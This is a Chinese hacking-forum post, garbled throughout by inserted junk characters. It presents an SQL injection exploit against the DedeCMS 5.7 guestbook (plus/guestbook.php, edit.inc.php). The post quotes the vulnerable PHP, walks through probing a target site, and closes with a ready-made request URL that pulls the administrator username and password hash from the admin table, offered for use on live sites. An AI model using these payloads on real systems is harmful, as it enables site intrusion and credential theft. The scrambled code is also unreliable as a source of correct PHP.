找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3761|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7' x3 D; m7 G; q

7 x1 _% z; ~) f漏洞文件edit.inc.php具体代码:
' M$ B5 }8 {- w1 q( N) D" B5 o3 T; F5 t3 k
< ?php  
0 v' e3 [1 |( N+ b6 F0 Z2 k) @( o2 ?! u+ j
if(!defined('DEDEINC')) exit('Request Error!');  
% }6 ^& Z% ?1 d; D: \+ y: T# C5 s" N2 t& i; [) e: I
   
6 j# H/ o1 l( e9 n' o9 G6 Q' q: ~& |( q, c% c4 r6 S1 q3 E1 B" O
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  ; U8 C/ Q) n5 [8 L6 K  S
' X7 h& ^$ |4 n
else $GUEST_BOOK_POS = "guestbook.php";  
* U1 y  T' g: n& i! U
6 R$ _, v  u6 g. L   / ]5 Q: Y# o3 X# m) U' D* D

' j5 j; R8 G2 B/ X) b/ w- s5 `$id = intval($id);  5 Q5 e$ U* `0 }4 i" Z

+ l2 N- T9 @& B1 m  nif(empty($job)) $job='view';  
; w6 c9 p6 t, x) r2 v
1 X3 R+ k8 A( }3 f; x$ v! x# C   9 @6 l1 k  n4 r) ?

8 t. I# Y* N0 h2 |( \if($job=='del' && $g_isadmin)  4 F: M6 a* @( _
, K% @1 ?$ Z8 Q
{  
+ P, A- s$ J6 _) ]8 Y: f5 {3 I, r- \3 _3 \3 [9 l: Q
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");    n' D2 l; O& {# H4 W
; [5 v, W2 @( R+ L" `
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
8 d9 v! R/ b3 @. U6 n8 C
& ]# T; E# ]/ V( G- s# N$ `+ mexit();  
8 K0 Q: U# I8 D2 q% l6 Q
/ r/ C" P6 ]8 s% L}  ' m$ J! o/ J' K( g( c* @" c! W3 Z
; L0 w" c/ u2 r4 b+ v9 g
else if($job=='check' && $g_isadmin)  
$ C& h  l5 B1 n; [0 p5 Y. Q! M0 N! q& b$ n
{  
& s: f$ Q9 L! h6 Y# f. \% s' c0 Y7 }, s) A6 t
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  , j! s; r  ^7 I
( n6 J9 @/ i; X3 ?
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  / {3 |9 L3 t0 k& W

: I5 i1 e' k" Zexit();  6 k7 i6 c4 l3 w4 j2 T

: S+ N1 k& I  L' J}  
% h( M4 B' L: a/ T2 R7 h
# f* E+ q5 N) J9 oelse if($job=='editok')  * u0 Z( A- ]8 W' N3 N% n6 e$ O7 Q0 I
& t+ l; X0 ?, e6 k/ @- d3 m' h5 Q, H
{  ( y! ~9 m( L: ?' \4 @6 B2 C
" p1 c7 D$ ~' ^7 f8 B
$remsg = trim($remsg);  
: A5 B* v! F0 u& {' \6 q
5 r3 U* p, ^! P( Vif($remsg!='')  
/ e7 T* U3 t0 T7 M
7 L% A; C9 L' I3 X{  
" _, T5 a+ ^  o) L
$ C6 Y  k% y! [% w  ^; v//管理员回复不过滤HTML By:Errorera blog:errs.cc  
. J' a, B6 n& C$ x- e
  l$ Q  @2 m) l4 [if($g_isadmin)  4 ^% Z, h; W1 J, ]& R( g' L

1 E' k/ |0 a0 q8 \# {5 _{  : d4 [/ d- L" R+ m( w6 d& O% t: K
& S9 C# D& n8 K; C
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  : v: l% y: g( `4 g5 }; n" I2 J
3 F0 W; v* T) ]% k# Y7 O8 Y
//$remsg <br /><font color=red>管理员回复:</font> }  
0 \5 s2 @0 S5 E. w* |/ t
# H+ s" `/ L' I( d( N; v2 pelse
, D0 ]3 l1 ^" G' E% i3 y! j" P$ A/ g% I0 }- Y% }
{  
5 K) {+ Q; @. f
, F1 g5 k) H1 d" a5 V9 \$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  2 j& p9 l2 y# q5 a

0 d) W# X" C) C# @' i. G$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  : \4 d5 y% z! H! z3 V& g- r0 q

& i2 a: i6 b+ L/ D$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  5 r2 g% y* W( j. d# A! V* G
1 m- l) F! }( K! k6 g: h- X- E" e
$msg = $oldmsg.$remsg;  * {3 \6 e& T! G; n8 z$ H7 @, L* [! t

( t7 Y1 ]2 }" X3 ]  w) v/ ?}  % t  H% T3 m/ l: e
0 J5 w* x& I4 R# v4 Q
}  - d: ~) u# S& x6 T

* z$ f  m& L0 i& d" R$ ]! y//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  8 `* P1 m& ~4 |/ h  [

; P7 D4 f  P. ^) D: @: L& K$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
$ T+ b7 a9 Y+ |: C% }6 z0 L
+ T" g0 T5 L* D6 M* T$ hShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
( w. f, k' n- v8 N9 U  K& i3 @% O/ N
exit();  6 [. D9 f- ~1 A  v
8 b! Y/ w& ~1 z5 \% P" ^
}  6 q: S/ U% r2 I/ d& q- @" c
  \  r$ O( T( {* O" ^( q- f1 I8 d( C; l
//home:www.errs.cc  
, u* u% ?- P& F5 I9 l3 ]1 I" V
; j, N3 _$ L" }; C7 }if($g_isadmin)  
  l5 e: I4 k$ a" M0 K1 ?
1 |  w! P0 p' n; H{  5 @" [+ O% @$ E: m& D

9 B1 o( d0 ^. F' E! F. O$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  4 i/ E1 I$ t5 L: a3 i

* Q* Y" B* Q/ l  C9 r; T( m# H1 Hrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  5 M: w6 D6 _4 ?

9 K$ p% i5 `5 s4 ~3 f}  & A/ m, q: _* ~. i2 J( g

0 n8 J1 M) L" _' S+ i( melse   T- C4 M1 e9 F! \/ c- F5 ]
! {( [2 z- Q- c4 p
{  
& b, L$ X& l% ?3 o7 b) F" W
" `2 J- h: H# i* _) B0 s  X$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");    X) S3 ~; x6 R6 \  ~
, ~5 F& I! S/ D9 Z  s
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
0 k( O& P5 h& m/ k# h: s% w9 S
, W2 k& r# R7 v  ^  j1 b; b. h} 漏洞成功需要条件:1 m; v7 V  }1 x6 b
1. php magic_quotes_gpc=off3 |! H' f; E  S( l( K, h% d8 `
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
6 E8 B3 j8 Y% O- p! M( z( [% M( P) g- \; ~5 ~
怎么判断是否存在漏洞:7 C6 v; s, h& R
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,0 c. {+ C: }$ V" e! d
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
( m1 ^* G7 `2 T访问:( G' `+ r5 _/ g7 O$ H$ F* _, u/ Q

' ~) P8 l  E  U4 v* owww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
; W  a* }8 j/ I! i$ G! q, y, T跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证, A2 [/ E' ?  F% a
: l  a: J2 u1 o4 ]3 A- ~
) T$ U8 ]9 B! d1 w
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off% x5 M0 |2 N% k' O+ o
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
& L6 _: s! H; ]. L# w  F. l那么再次访问
4 n5 H3 C7 O* T2 U( G& j0 L: |/ M) e
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().6 \: @' d( ]' c! C7 i

' k0 {- I9 Q) b" j- @& M1 M大概利用就是这样,大家有兴趣的多研究下!!
' }1 q' N+ y  A6 \2 i0 U9 V) Y& @% A  l7 c
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!$ ]; K" B$ L% K- t' J+ J  }

! v( ]6 y6 m$ H2 t+ jview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表